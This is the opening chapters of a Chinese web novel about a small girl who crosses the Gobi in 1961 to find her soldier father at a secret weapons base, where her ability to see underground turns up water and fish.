《上交戈壁小福星,国家追着叫国宝》
第1章 萌娃戈壁寻父,遇难觉醒能力
1961年。
大西北,某**研发与试验基地。
“梁团,这是本月最后的一点饮用水了,旅长说下个月三**运输车的补给才能运上来。”
团长梁哲盯着桌上仅剩的小半桶水,浑浊的液体上飘浮着一层杂质。这是基地最后的一点结余,每一滴都珍贵无比,包括他自己在内,所有人都得精打细算。
“粮食呢?”
“棒子面还够吃三天,咸菜疙瘩也没了。整个炊事班就剩点萝卜缨子,战士们还能咬牙挺住,那些专家们一个个脸色蜡黄,再这样下去,身体怎么受得了啊。”
梁哲的目光落在桌上的图纸和模型上,那是所有人为之奋斗的目标:一枚即将改变大夏命运的**。
在这样极端恶劣的环境下,这群大夏国的精英,正用自己的智慧和汗水,对抗着西方的技术封锁和核垄断。他们的健康,比什么都重要。
“要是能掘出口井就好了。”副团长宋大柱望着脚下的沙土叹气。
为了寻找水源,大伙把附近的沙漠都撅地三尺,愣是连个小水沟都没挖出来。
“拿我的津贴去镇里换粮换水,”梁哲咬着牙,“说什么也不能让专家身子垮了。”
“梁团,您那点津贴早垫进去了。”
正说着,门帘一掀,一名年轻的通讯兵闯了进来,一双眼睛瞪得溜圆,“梁、梁团,基地外头,来了个小娃娃。”
“啥?”宋大壮一愣,站直了身子。
前来汇报的炊事班李大嘴也一脸诧异,“这鬼地方连只兔子都没有,哪来的娃娃?”
梁哲心头一紧:“长什么样,谁带来的?”。
“就,就一个女娃,三四岁……”通讯兵一脸震惊的表情,“没有大人,就自己。”
话音未落,梁哲已经大步冲了出去。
他十天前就接到电报,说家里闹了灾,媳妇林淑芬带着三岁女儿甜甜,要来军里投奔他,可等了这么多天,一点消息也没有,梁哲心里不免有些七上八下。
他执行的是保密任务,无令不得擅离,又不想因为私事给领导们添麻烦,只能在那干着急。
现在听说来了个小娃娃,先前还能保持镇定,走了几步,不由得跑了起来。
还没到基地门口,远远的,就瞧见一个小小身影站在夕阳下,身影单薄,衬着漫天黄沙,看起来又小又可怜。
梁哲跑的更急了。
几名战士正把小女孩围在当中,她看起来还没枪杆高,一张小脸又瘦又黄,头发乱乱的,穿着件千疮百孔的破棉衣,只有一双眼睛亮得惊人。
“小妹妹,你怎么来这的啊?”小战士好奇的问。这里半个月才通一辆班车,还停在至少五里外,这小女孩竟能自己走到这,简直是个奇迹。
梁甜甜抿着嘴,没说话。
自从妈妈睡着后,她自己一个人又饿又怕地走在荒漠里,脑子里全是“找爸爸”的念头。
妈妈告诉过她,爸爸工作保密,不能随便告诉别人。
妈妈还说过,只要见到穿绿军装,帽子上面有五角星的,就是好人,可以和他们要口吃的。
可她走了好久,也没有看见一个五角星,就在她急得快哭了的时候,忽然间发现自己能透过沙子看见下面的东西,有一条明晃晃的线在地下延伸,她顺着线的指引,一路跌跌撞撞找到了这里。
现在,她抬起眼,看到一抹高大身影正从营地里奔过来,他一脸焦急,身上穿着绿军装,最主要的是那双眼睛……是她记忆里见过的模样。
“爸……爸……”
干裂的嘴唇里发出了弱弱的声音。
梁哲还没跑到眼前,就已经认出来了,小女孩虽然脏兮兮的,可那模样,那眼睛,不就是自己两年没见的亲闺女吗!
“甜甜!你是甜甜吗!”
他冲到孩子面前,一把将小小的身子抱在怀里,又是激动,又是后怕,说出的话全是颤音,“你怎么来了?妈妈呢?”
梁甜甜闻着身上熟悉的气息,感受着热乎乎的大掌搂着她的后脑勺,又一次小声重复着:“爸……爸爸?”
“哎!”这怯怯的声音瞬时击中梁哲的心防,他忍不住把孩子又往怀里搂了搂,两行热泪夺眶而出,“是爸爸!爸爸来晚了,让你受苦了。”
他不死心,又往身后看了两眼,可茫茫戈壁,除了呼啸的风和滚动的沙,哪里还有第二个身影。
“甜甜,妈妈没和你在一起吗?”
“妈妈……”甜甜歪了歪头,小小声地说,“妈妈饿饿,睡着了……让我来找爸爸,爸爸有饭饭……”
说到这里,一直压抑着的恐惧和委屈终于决堤,甜甜“哇”的一声,搂着爸爸嚎啕大哭起来!
“爸爸,妈妈醒不过来了!我要妈妈,我要妈妈!”
梁哲呆呆的抱着女儿,心中虽然已经猜到了结果,还是忍不住泪如雨下。
媳妇去年就查出重病,怕他工作分心,一直瞒着没告诉他。直到今年才在
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电报里透露了几个字。这戈壁滩缺医少药,她拖着病体带孩子赶路,只怕是……
想到妻子那张温婉秀美的脸,这些年独自带孩子所受的苦。而自己投身国家最高机密事业,竟然连妻子的最后一面都没见到……他的心就像被刀割似的疼。
“淑芬,我对不起你,我没用,没能照顾好你们娘俩啊!”
这个多次在**堆里爬出来,面对枪林弹雨毫无惧色的铁血汉子,此刻却跪在地上,像个孩子似的痛哭失声。
周围的战士看见这一幕,无不红了眼眶,默默别过头去。
等到父女两人情绪平静了,梁哲擦干眼泪,把甜甜抱得更紧了,“甜甜不怕,爸爸这就带你回家。”
“爸爸,甜甜渴。”
甜甜舔了舔干裂的嘴唇,声音弱弱的。
梁哲脚步不由一顿。
他刚刚下令,全基地的饮用水,必须优先保障专家。可自己的**在沙漠中经历了九死一生,好不容易找到自己,竟然连一口干净的水都喝不上?
梁哲只感觉万箭穿心。
“好,爸爸带你去喝水。”
他的营帐里还有半杯用树皮熬出来的“水”,他可以不吃不喝,也不能让女儿跟着他受罪。
可甜甜却摇了摇头,伸手指着地下一处,“爸爸,甜甜要喝这下面的水。”
“什么?”
梁哲一愣,以为自己听错了。这下面除了沙子,连个雨点都没有,哪来的水。
坏了,孩子不会是在沙漠里行走太久,产生幻觉了吧?
他听老人说过,人处在极度饥饿和绝望的环境下,就会产生癔症。而甜甜了为找他,独自走了那么多的路,吃了那么多的苦,该不会也……
一想到这,梁哲的心就沉入了谷底。
他这个父亲真是太不称职了。
“甜甜乖,不哭,爸爸这就带你回宿舍喝水。”
他盘算着,等给甜甜擦擦脸,就带她去卫生所,如果这里没条件治,就把她送回镇里,送回市里,哪怕搭上自己的所有,也得先给甜甜治病。
甜甜见爸爸抱着自己要走,着急地拽他的衣袖,“爸爸,不!”
“怎么了?”梁哲被女儿拉着,只得停下。
“这里!”甜甜固执地伸出小手,指着方才那一处。
她来的时候就已经看见了,这下面有好多好多的水,可是她力气小,挖不开沙子,光看见水,渴的要命,却喝不到。
要是爸爸能帮帮她就好了。
第2章 绝了!沙坑出水,全基地沸腾
梁哲见女儿小脸急得通红,又看了看脚下的沙土,有些不确定地问,“甜甜,你的意思是,这地下有水?”
“嗯!!”甜甜用力点头,急切地舔着嘴唇,“有水,爸爸,甜甜渴。”
“梁团,”副营长宋大壮闻讯赶来,恰好看见这一幕,“这附近咱们都挖过了,除了沙子就是沙子,不可能有水啊。”
他心疼地看着瘦弱的小女孩,毫不犹豫拿出自己省下的口粮,“乖宝贝,叔叔那里有半碗面糊糊,跟叔叔走,叔叔带你吃饭。”
可甜甜压根不往他怀里钻,仍然搂着梁哲脖子,眼神里充满对地下“水”的渴望。
这表情让梁哲心里酸酸的,孩子既然坚持这里有水,就哄哄她又怎么了?
不就是挖几锹的事。
“去给我拿把锹来。”他吩咐身边的小战士。
小战士二话不说撒腿进去,不一会拿出来三把铁锹,他和另一名战士一人一把,最后一把交给梁哲。
“团长!”
“哎,你真没眼力见,团长抱着孩子呢,把锹给我。”
宋大壮接过锹,四下里一瞅,犯难地问,“宝贝,从哪挖啊?”
这里遍地是沙子,连个标识都没有。
“这里。”
甜甜用小手画出一个大圈。
豁,看起来还不小呢。
三个人对准甜甜虚画的圈,刷刷刷地挖了起来。
不一会,一个深达半米的坑就露了出来。
坑底还是沙子,别说水了,连点湿气都没有。
宋大壮擦了把汗,看向梁哲。梁哲脸上也有些尴尬,为了孩子一句话,让战友白费力气。
“甜甜,咱们先回去喝水吃饭,好吗?”他柔声劝道。
哪知甜甜一摆头,小手仍然指着坑底,“还有。”
梁哲皱了眉:“甜甜别闹了,叔叔们累了。”
甜甜的小身子在父亲怀里扭个不停,“不嘛!真的有!”
宋大壮一咬牙:“接着挖,就当……哄孩子了!”
于是,路过的战士和科研人员,就看到基地门口的奇特景象:高大壮硕的梁哲抱着个小团子,身前是一个大沙坑,三个人战士挥汗如雨,正一揪又一揪地往上扬沙子。
基地旅长白树勇陪同**专家钱教授路过,见状不禁皱了眉。
“前面怎么回事?”白旅长叫过一名小战士。
“报告**!梁团的女儿来寻亲,她说地下有水,梁团长就让宋副团挖。”
“胡闹。”白旅长一脸不悦,“家属来队为什么不跟组织打报告,还在这瞎耗体力,不知道基地缺水缺粮吗?”
他吩咐一声,“把孩子交给小梁的爱人,让他上我这来一趟。”
“报告,梁团的爱人……没来。”
“嗯?那孩子谁领来的?”
“是,是她自己。”
“她自己?”白旅长摇头,“不可能,这大戈壁,一个成年人走都容易迷路,何况这么小的孩子。你们警惕性太低了,就没查查孩子背后有没有人指使。”
这句话一说,气氛顿时紧张起来,钱教授刚要开口,白旅长道:“钱老,您先回去,要提防敌特份子利用孩子捣鬼,我去看看什么情况。”
钱教授都是国宝级人物,绝对不能有任何闪失。
他带着几名军官和战士,快步走到梁哲面前。此刻沙坑已经深达两米,可一旦要停下来,甜甜就闹个不停。
“梁哲!”
梁哲一看是沉着脸的白旅长,立刻双腿一并,敬了个标准的军礼。
“旅长好!”
“你闺女来队是喜事,但也不能太纵着她了。这里到处都是沙子,你就算挖到天黑也找不到水源,简直乱弹琴。”
梁哲脸上一红,也觉得自己太过份了,“是我不好,大壮,快停下吧,别挖了。”
他想好了,这回不管甜甜怎么哭闹,也得把她抱回去。
大不了回头再哄就是了。
“另外,”白旅长四下看看,压低声音:“你闺女这么小,自己能找来基地,你不觉得,有点问
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题?”
梁哲一惊,立刻意识到问题的严重性:“报告**!我女儿她……”
话音未落,一名战士忽然“哎哟”一声,铁锹挖中一个硬物,他弯腰扒拉几下,原来是一截树根。
这一下吸引了周围人的注意,宋大壮拽出树根,忽然眼前一亮,“梁团!!!”
他调门喊的贼高,梁哲和白旅长都被他吓了一跳。
“看,快看!”
宋大壮双手举着树根,语气激动莫名,梁哲低头一瞥,瞳孔也立刻缩了起来。
这截普通的树根上,竟然沾满了——湿漉漉的沙子!
“湿的,湿的!”宋大壮激动的语无伦次,其他两名战士一见,也立刻来了劲儿!
要知道这距地表还不到三米,就能挖出沾了水汽的树根,那地下有没有水,简直是不言而喻。
白旅长的眼睛也眯了起来,表情有些不可置信,他忽然一回头,命令身边的警卫员:“去调一个班过来。”顿了顿,接着吩咐:“带齐工具!”
“是!”
不一会,十余名战士拎着铁锹和镐头列队跑了出来,可还没等他们赶到近前,就听宋大壮“啊”的一声大叫,那声音,就跟发现了金疙瘩差不多。
“水!水水水……”
他嘴唇抖的话都说不明白了。
另两名战士也啊啊大叫,丢下铁锹,激动地抱在了一起。
梁哲抱着甜甜,眼睁睁看着一缕清亮的水,顺着沙坑底部渗了上来,不到一分钟,就积出个小小的水洼。
“这……”他茫然的抬起头,看看身边所有人都瞪大了眼睛,一脸见鬼的表情,这才发现,不是自己眼花了,是真的……真的挖出了水!
一名战士迫不及待跳到沙坑中,伸手掬起水用嘴一舔,然后他抬起头,一脸狂喜:“甜的!**!是甜水,能喝!”
“太好了!”
两分钟前还一脸质疑的白旅长,此刻兴奋得一拍大腿:“还愣着干什么,快拿家伙给我挖!快!”
第3章 高能连炸!找完水又找鱼,这娃是戈壁救世主
很快,挖到水源的消息就轰动了整个基地,所有人,无论手头正在忙什么,都忍不住跑出来,想亲眼见证这个奇迹。
要知道自打基地建成以来,找水就是头号难题,大家可以勒着肚子饿两天,却抵不过那干裂饥渴的滋味。
如今,竟真的能挖出水来,甭管多少,已经足以让所有人为之雀跃不已。
战士们争先恐后跳入沙坑,甩开膀子抡圆了铁锹,上面有人拉来小堆车,把挖出来的沙子装车运走,整个营地门前热火朝天,就连文工团的女兵都在坑边打起了“战天斗地,人定胜天”的快板。
很快,基地的主要领导、几位国宝级的院士和总设计师,全被惊动了。这群人平时神龙见首不见尾,可涉及到喝水这件事上,谁也坐不住板凳了。
毕竟,大家头脑再厉害,也都是肉体凡胎,忍得了一切,忍不了渴啊。
“不可大意,要先检查一下水质。”王总设计师一边抖着手擦眼镜,一边看一盆盆清水被战士们用盆端上来,眼睛都看直了。
质检人员取了水样,飞奔着跑去检测,脸上都要乐出花了。
“谁,是哪个先发现的水源?”刘司令刚从京城开完会回来,屁股还没坐热,听到这个消息,立刻快步赶了过来。
所有人的视线都落到梁哲手里抱着的小团子身上。
方才哭喊着急的甜甜此刻有点累了,正昏昏沉沉地趴在爸爸肩头。
“**,是这个小女娃子。”
白旅长声音放轻,生怕惊动了这个大宝贝儿,“小梁啊,刚才是我鲁莽了,错怪了你和你闺女,可别往心里去啊。”
宋大壮跳上沙坑,一脸兴奋:“梁团,你闺女也太神了,要是光听你的,今天这水能挖出来吗?”
刘总司令也惊了,“说么子?你们是说这小娃娃坚持地下有水?”
钱教授扶着老花镜:“我看看我看看,哎哟,这么个小不点,竟成了咱们基地的大功臣。”
梁哲苦笑:“钱老,孩子可能也是蒙的……”
“蒙的?这种地方,三米见水,你蒙一个我看看?”钱教授难得开起玩笑。
“可不是嘛,要不是她,咱们上哪弄水喝啊。”
“小梁啊,你生了个好闺女啊。”
梁哲被这些老领导们夸得心跳如鼓,脸都红了,抱着女儿不知该如何是好。就在这时,质检员远远的跑过来,嗓子好悬没喊劈岔了。
“领导!**们!这水没问题,硬度低、杂质少,可直接饮用!”
“哗——!!!”
整个基地沸腾了,欢呼声震天,比过年还热闹!
战士们抱在一起,又跳又笑。有的人笑着笑着就哭了——在戈壁熬了数年,第一次看见这么清的水。
刘司令借着警卫员的手电看完报告,脸上激动难掩:“好!好!天不亡我!快把这里给老子保护起来,这是一级战备物资!”
“把我的津贴拨十块钱,去镇上给孩子买点营养品。”总设计师也拔高了调门。
十块钱,在当时可是一笔巨款。
“王总,不用……”梁哲刚想推辞,刘司令又道:“孩子母亲的事……你要节哀,通知基地妇联,所有女同志们轮流照顾甜甜的生活,务必保证孩子吃饱穿暖!”
梁哲喉头哽咽,“谢谢**!”
甜甜就在这时动了动,睁开了朦胧的大眼睛,“爸爸……”
她的声音小小的,“甜甜能喝水吗?”
“能!”
身边七八个领导异口同声。
钱教授亲自捧来一碗清水,“小囡乖,爷爷给你喂水。”
甜甜下意识抬眼去望爸爸。
梁哲点头,满脸笑容,“喝吧,记得要谢谢爷爷。”
“谢谢爷爷。”
甜甜人如其名,这声爷爷一喊,激动得老教授眼泪差点掉下来。
“我家孙女,也像乖囡这么大。”为了国家的事业,大家都已经扎根边疆,很少能和家人团聚。
“以后就把这当家,我们都是你的亲人。”刘总司令一锤定音。
梁哲也没想到,自己女儿来的第一天,就已经成了整个基地的掌中宝。
甜甜喝完水,干裂终于得到缓解,她满意的把小脑袋靠在父亲怀里,“爸爸,肚肚饿。”
“我那还有半斤玉米面,去爷爷那,给你熬粥喝。”火箭系统总师也想给孩子留个印象分。
不料甜甜却摇摇头,说出了一个让所有人都意想不到的话:“不,爸爸,甜甜要吃鱼鱼。”
刘总司令脸色一僵,和白旅长交换了一个酸涩又无奈的眼神。整个基地连点像样的蛋白质都没有,可怜的孩子想吃口鱼,这么微小的愿望都满足不了。
“甜甜乖,和爸爸去爷爷那喝粥吧,爷爷熬的粥可甜了。”
梁哲不忍见各位领导尴尬,急忙打圆场。
甜甜却向另一处一指,“那里,那里有鱼鱼,爸爸为啥不给甜甜捞鱼鱼?”
“你说啥?”梁哲顺着她的手,下意识一看——是一条被风沙蚀起的沙沟。
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“甜甜,”梁哲轻声说,“那里没有鱼,你看错了。”
“有的!”甜甜急了,小手比划着,“好多好多,游来游去!”
白旅长沉吟着,和刘司令低声汇报了几句。
刘司令大手一挥,“挖开试试。”
就冲这孩子能找到水,再在沙地上铲几锹,又有什么关系。
宋大壮立刻带了二十多名战士,来到甜甜说的地方挖了起来。
一分钟、两分钟,所有人的目光都**过来。
梁哲抱着甜甜,内心忐忑。
五分钟过去了……
忽然,一名战士大叫一声:“水!”
噗的一声,一条清亮水柱从沙地里窜了出来,高度喷了足有两米。
“这,这是一条地下河啊……”钱教授失声惊叹。
话音未落,宋大壮“啊哈”一声惊呼,“鱼!老天爷啊!真的是鱼!”
他迫不及待的跳进水里,双手在里面一划拉,下一刻,一条足有三尺长的鲤鱼出现在他的手上,鳞片还在夕阳下闪着水光。
整个基地的人都惊呆了。
这哪里是一条鱼,分明就是沙漠里出的奇迹啊!
战士们手忙脚乱的找盆拿桶,这条突然现世的河里鱼又大又多,不一会功夫,就已经装满了三四个大盆。
甜甜看见活蹦乱跳的鱼,高兴地拍起了小手。
一向沉稳的刘司令禁不住仰天长叹:“天佑我大夏!”
王总设计师掏出手帕拭泪:“真没想到,有一天竟然能在戈壁看到淡水和鱼。”
“小梁,你闺女是个福星啊。”钱老拍着梁哲肩膀感叹。
“快去通知炊事班,今晚给大伙加餐,吃鱼!”白旅长乐得嘴都要合不拢了。
李大嘴早就在一边等候多时了,闻言赶紧接过大盆:“我这就去给各位**熬鱼汤,保证鲜掉舌头!”
就在这时,甜甜的小脑袋一点一点,好像特别疲累的样子,把脸埋进了父亲的肩窝。
“快快快,别吵孩子,让她好好睡。”几位大佬见状,声音一起低了下来,生怕吵醒了这个宝贝金疙瘩。
梁哲抱着甜甜,做梦也没想到是这么个开局,他怀里的不仅是失而复得的女儿,还是整个基地绝境逢生的希望,是个天降的“福星”。
回营房的路上,他望向远处的星空,似乎看见了妻子那温柔的微笑。
淑芬,他想,你看见了吗,是不是因为你一直在天上保佑着她,让咱们的女儿找到了水,救了所有人的命。
第4章 配警卫班,喝**奶!甜甜成基地团宠
当天晚上,炊事班的同志们大显身手,做了顿史上最丰盛的全鱼宴,有清蒸、红烧、鱼丸汤,李大嘴还把鱼肉刺细细剔了,给刚刚睡醒的甜甜做了碗香香软软的鱼肉羹。
所有人都吃得满嘴流油,几乎停不下筷子。。
不但如此,每人面前的搪瓷缸子里还装了满满的清水,水质又甜又冽,简直就和泉水差不多。
“同志们,咱们今天能吃上这顿饭,应该感谢谁啊?”白旅长大声问。
“感谢小甜甜!”基地的众人回答的异口同声。
甜甜坐在爸爸怀里,洗干净的小脸蛋白净透红,像是熟透的红苹果,热心阿姨主动帮她扎了小辫子,乍一看,活脱脱就是年画里走出来的洋娃娃。
等吃完晚饭,梁哲把甜甜哄睡,这才悄悄关好营房门,整理了一下军容后,来到了基地的会议室。
“报告!”
以他的级别,本来是没有资格参加老总们的会议,但从现在起,他已经是个例外了。
基地内的高层几乎都聚齐了,会议室里烟雾缭绕,刘司令难得大方地贡献了两包烟,刚放上桌就被几个老烟枪迅速瓜分了。
刘司令开门见山:“梁哲同志,今天这会就为一件事:你家小丫头太不寻常了。我们必须尽快拿出个章程。”
“是,**,我明白。”
“不,你不明白。”钱教授掐灭烟头,“小梁啊,你不明白甜甜的发现对基地意味着什么。我们之前一直被地面试车冷却问题所困扰,基地用水杂质多,结垢淤堵后严重影响燃料发动机的性能稳定。但现在有了新水源,我们就可以自建一套循环冷却系统,一举攻克这个难题,大大提高试车效率!”
“不止如此,”负责化工的李工接过话头,“鱼内脏和鱼油我们已经做了取样分析,可以提炼出不错的润滑油,从科学的角度说,可以对运输车、轴承、链条等非精密部件进行日常养护,还能省出不少成本。”
王总设计师推推眼镜:“司令,我已经起草了一份报告,请京城派地质专家和水利专家过来,对这条河进行最大程度的勘探和开发,让它可持续性地服务于基地的生活生产。”
刘司令一一听大家说完,随手敲了敲桌面:“老几位,你们说的这些我都晓得。但问题是,对外要啷个解释?”
会议室瞬间安静下来。
王总设计师看向略显局促的梁哲:“小梁,我们主要是考虑到甜甜的能力太特殊,如果消息贸然传开,怕会引发敌特和国内外**分子的觊觎,威胁孩子的安全。”
“我会向最高领导请示,”刘司令环视众人,“但在此之前,这件事的保密级别要定到最高,各单位要严格传达落实,绝不允许任何形式的外泄。”
钱教授语气温和:“另外,我们还要对乖囡的能力进一步观察,看看是不是偶发事件。”
白旅长随即道:“小梁,从明天起,给你配一个警卫班,领着甜甜在基地周边多转转,看看还能不能有新的发现。”
“梁哲同志,”刘司令注视着他,“以上内容,你做为孩子的父亲,也是一名军人,有么子想法?”
梁哲起身立正,挺直腰板:“报告司令!我服从组织一切安排!但是……”他顿了顿,犹豫片刻,还是说出了做为父亲的担心,“甜甜还小,不懂什么叫机密,也不明白什么是危险。我怕她懵懵懂懂之间说错话、做错事……如果给她的压力太大,我担心孩子承受不住。”
“这个顾虑合理。”刘司令抬手,示意梁哲放松,“放宽心咯!我们会充分照顾好孩子的情绪,保证注意沟通方式,绝不给她留下心理负担。”
“另外,也要给孩子试错空间,万一之后甜甜以后看走了眼、找错了东西,”他指着周围的一圈领导,“你们这些老家伙,哪个都不准吓着她。”
众位大佬都呵呵笑了起来,“放心吧司令,我们明白。”
“所以,梁哲同志啊,莫担心,也莫背包袱,如果你女儿真的有这方面的能力,就让她大大方方尝试。不论最后是么子结果,我们这些爷爷叔伯,都能替她担着。”
梁哲闻言,立即起身,敬了一个标准的军礼,语气激动地应道:“是!”
时间很快来到了第二天。
梁哲起了个大早,文工团的张知秀阿姨手巧,用旧军装和棉花连夜给甜甜改出一身合适的小棉袄、小布鞋,甜甜本来生得眉清目
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秀,这么一打扮,看起来更加软糯可爱。
王总设计师还给送来了**奶粉,有了干净的水质,奶粉都冲泡得特别美味。
“甜甜,上车,叔叔带你出去玩。”宋大壮亲自担任司机,把基地里平时舍不得用的军用吉普车开了出来。
“甜甜,这个给你玩。”秘书处的李桂华阿姨塞过来一个用碎布头做的布娃娃。
“甜甜,拿着路上吃。”负责技术的罗叔叔送过来压缩饼干。
“我这有盒罐头,给你了。”这是宣传科的曹干事。
不一会,甜甜小手上就堆满了大伙送来的各式心意。
“拿不下了,拿不下了。”
甜甜摇着小辫子拒绝。
梁哲笑着和大家点了点头,抱着甜甜坐上了吉普车副驾驶。
身后的苏式卡车上,坐着一个全副武装的警卫班。梁甜甜小同志如今是基地的“重点保护对象”,这阵仗一点不含糊。
宋大壮发动引擎,汽车突突突地驶入无垠沙海。
天空高远,云朵稀薄,目光所及之处,尽是一望无际的沙丘。
风卷起细沙,吹在人的头脸上,带来阵阵干涩。顽强的胡杨树扎根在沙土中,不屈的枝干顽强地伸向天空。
而这群怀揣崇高理想的人也如胡杨树一样,在这不毛之地与天斗,与地斗,与严苛的生存条件斗争,就是为了打破西方的歧视和垄断,锻造属于整个民族的不屈脊梁。
“妈妈说,爸爸被上交国家,就顾不了甜甜和妈妈的小家了。”甜甜忽然轻声说,小脸贴着父亲的胸膛。
梁哲心头一酸,自古忠孝两难全,自己把青春和热血毫无保留地泼洒在这戈壁滩上,却在无形中辜负了家人,而他们这些人,番号、编制、职务甚至姓名都可能被隐去,是真正意义上的“无名者”。只因他们所从事的,是国家最高机密,承载着全国人民的期盼,是振兴大夏的基石。
“甜甜,是爸爸对不起妈妈,也对不起你,让你们吃了那么多苦。爸爸答应你,以后一定尽力补偿,再也不让你受委屈了。”
甜甜似懂非懂,但她从父亲震颤的胸膛和有力的臂膀中感受到了深沉的爱,不禁用力地点了点头。
第5章 警惕!专家助手起疑心,萌娃机密险些泄露
梁哲一边抱着甜甜,一边轻声询问:“甜甜,告诉爸爸,是什么时候能看见地下有东西的?”
甜甜歪着小脑袋,努力回想,那段记忆对她来说太混乱了。
“那……和妈妈在一起时,你也能看见吗?”梁哲换了个更简单的问法。
甜甜还是摇头。
“这样吧甜甜,你看看下面这些沙子里,还有没有什么东西,能让爸爸挖出来的。”
梁哲试着引导。
甜甜眨巴着大眼睛,东瞄瞄西瞧瞧,小表情充满茫然。
她对爸爸的要求还不是太理解。
“没事没事。”梁哲见女儿小脸皱皱的,像是沮丧,急忙出声安慰。“沙漠那么大,甜甜现在找不到没关系,以后我们有时间慢慢找。”
“是啊甜甜,别气馁,咱们都是打不垮的战士,愚公移山、精卫填海,现在找不到,早晚能找到!叔叔带你到下一处看看。”
甜甜听他说得有趣,咯咯地笑了起来。
“爸爸快给甜甜讲故事,什么叫移山呀?”
一上午的时间很快过去,中午返回基地时,远远的,就见天空中狂风盘旋,一架军用直升机稳稳降落在基地前的空地。
“怎么回事,哪来的直升机?”宋大壮看这架势,没敢把汽车停得太靠前,转身问梁哲。
梁哲也不太明白,早上的时候,他还没接到通知。
但他看见刘司令带着王总设计师,钱教授等骨干人员,列队站在大门前迎接,一个念头忽然在脑海里闪过——
昨天会议中,王总设计师提到向京城聘请外任专家,该不会这么快就到达了吧?
果然,舱门打开,依次下来五个人,除了提着行李的勤务兵外,两位年过五旬、风尘仆仆的学者分别是地质专家郑宏与水利专家江国强,身后跟着各自的助手高衍舟和万洪辛。
高衍舟四十岁出头,相貌平凡,是个扔在人群里都找不到的普通人。万洪辛外表斯文,眼睛上架着副镜框,有数年留学海外的经历。
刘司令立刻把这四位专家迎进了基地。
他们的任务是考察基地昨天突然发现的河流和河里的鱼,要对这条河水进行专业的勘探和保护。
“应该是京城的专家到了。”梁哲很快得出结论。
“这么快?”宋大壮很惊讶,京城的动作够快的,刚一发出报告,人就已经就位了。
“大壮,司令昨天说过,甜甜的能力不能外泄,你要记得叮嘱大家。”
“是!梁团!”宋大壮认真回应。
基地内,当看到那片泛着波光的清澈池水和游弋的鲤鱼时,饶是郑宏和江国强见多识广,也不禁倒吸了一口凉气。
“这……这怎么可能!”江国强快步走到水塘边,蹲下身,用手指捻起一点湿润的泥沙,又仔细观察着水中的鱼儿,连连惊呼,“不可思议,太不可思议了。”
PH接近中性,软水,氯离子含量极低,未受明显盐碱污染,水中溶解的杂质非常少,净化负担轻。
江国强看着这些数据,再一次感叹,“刘司令,这水不仅可以作为生活用水,还可以直接用作精密仪器冷却和部分高纯度实验!而且水中含氧量高,鱼类可以自由畅游,这都可以载入生态学的史册了。”
郑宏教授已经查看完土壤结构和渗水情况,也深表震惊:“下面很有可能是一条有流动、有补给的古河道动态水系,我怀疑它的上游是雪山融水,否则不可能纯净到这种程度。”
两位专家最终给出建议:“我们要对这条‘水脉’进行水文地质测绘,摸清它的流向和流量,如果储量可观,可以设计一套阶梯式的利用方案,不但能解决基地生活和工业用水,还可以考虑利用落差,建一个水力装置,给基地提供辅助电力。”
“二位说的硬是要得!”刘司令听得心花怒放,基地现在这样一穷二白的恶劣环境,实在是大大地拖慢了**研发的进程,但如果有了水力和电力的支持,很多难题就迎刃而解了。
刘司令正要请大家进入营内探讨,一
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旁的万洪辛忽然开口,问了一个关键问题:“刘司令,这么重要的水源,你们到底是怎么发现的?这看起来并不像常规勘探能轻易找到的。”
“啊,啷个啊。”刘司令一笑,拿出早已想好的说辞,甜甜的特殊能力是基地高规格机密,绝不能轻易泄露给外人。
“说来也巧,啷里的沙土本来很夯实,但昨天,不知搞么子,突然塌陷了一块,哨兵本来想把坑填上,结果几锹下去发现了湿土,这不就挖出来了嘛。”
江国强和郑宏对视一眼,虽然觉得这个故事过于离奇,但在广袤的沙漠经常会出现让人意想不到的地质问题,这种偶然也并非没有先例。
两人的注意力很快又被水源本身和后续的规划工作吸引,并未过多深究。
但万洪辛的目光却悄然扫过众人,他敏锐地发现,有几名战士听到这个解释时脸色绷紧,似乎颇为紧张。
“洪辛,快走啊。”
高衍舟见老师们都走在了前面,自己和万洪辛都已经落后,忍不住喊了他一声。万洪辛连忙答应,脸上恢复了谦逊的神情,快步追了上来。
梁哲等到他们都离开后,抱着甜甜,和宋大壮回到营地,三人简单吃了一口饭,下午又继续在沙漠中打转。
原本,梁哲以为甜甜会发现什么,但不知是路线不对还是甜甜状态不好,甜甜没有再像昨天似的果断给出线索。
梁哲说不失望那是假的,整个基地都对甜甜的能力寄予厚望,今天一天无功而返,他心里难免有些遗憾。
不过,很快也释然了,这片戈壁又不是聚宝盆,还能一挖一个准?
要真那样,他和闺女也不用在这了,早被国家打包带走了,还用留在这吃沙子?
这么想着,他亲了亲甜甜奶香的小脸蛋,“宝贝,咱不找了,回家休息。”
夕阳西下,一行人返回基地,李大嘴给他们留了晚饭。梁哲抱着甜甜去食堂,路过一排亮着灯的营房。其中一间的窗户里,透出昏黄的灯光。
第6章 悬念拉满!团**都端起来了
钱教授正坐在煤油灯前,身旁堆满了各种图纸,有些都已经被灯火熏得泛黄。房间响起噼呖啪啦的算盘声,这位鬓发斑白的老人,正在用最古老的工具,计算着这个时代最尖端,最庞大的数据。
看见他们父女过来,守在门外的勤务兵做了个“嘘”的手势,示意梁哲和甜甜放轻声音。
“钱老一直在计算吗?”梁哲想起,自己中午离开时,钱教授就一直在屋中没出来。
“为了验算关键数据,已经一下午了。”勤务兵指了指屋内清瘦的身影。梁哲的眼眶不禁有些湿润。
“爸爸,钱爷爷很辛苦吗?”
“何止辛苦。钱爷爷为了工作,连身体都不顾了。一直坐在那儿打算盘,他的手都要酸了,眼睛也累得发花,连腰都要直不起来了。”
甜甜瞪着圆溜溜的眼睛,顺着梁哲的目光看向窗户里的身影,小眉头皱了起来:“钱爷爷为什么要这么辛苦呀?”
“因为他要帮咱们国家做一件天大的事。”梁哲伸手,轻轻指了指头上的天空。
“甜甜知道吗,在这个世界上,不只咱们一个国家,还有很多很多的邻居。可这些邻居并不都想看见咱们住得好、吃得好、穿得暖。”
“这些邻居是坏人。”
“这叫竞争,如果咱们强大了,他们就会有威胁,所以他们才要掐咱们的脖子。甜甜知道什么叫掐脖子吗?”
甜甜试着把小手放在脖子上,“是这样吗?”
梁哲点点头。“当咱们的脖子被邻居们掐住,他们想让咱们做什么,咱们就只能乖乖听话,否则命就没了。”
甜甜慢慢有点明白了,“咱们不能听他们的话!”
“对啊,这些坏邻居们,他们自己有厉害的大炮弹,就不想让咱们有。他们把造炮弹的秘密都藏起来,不告诉咱们,还笑话咱们做不出来。甚至还会在旁边捣乱,想让钱爷爷他们失败,想永远掐住咱们的脖子。”
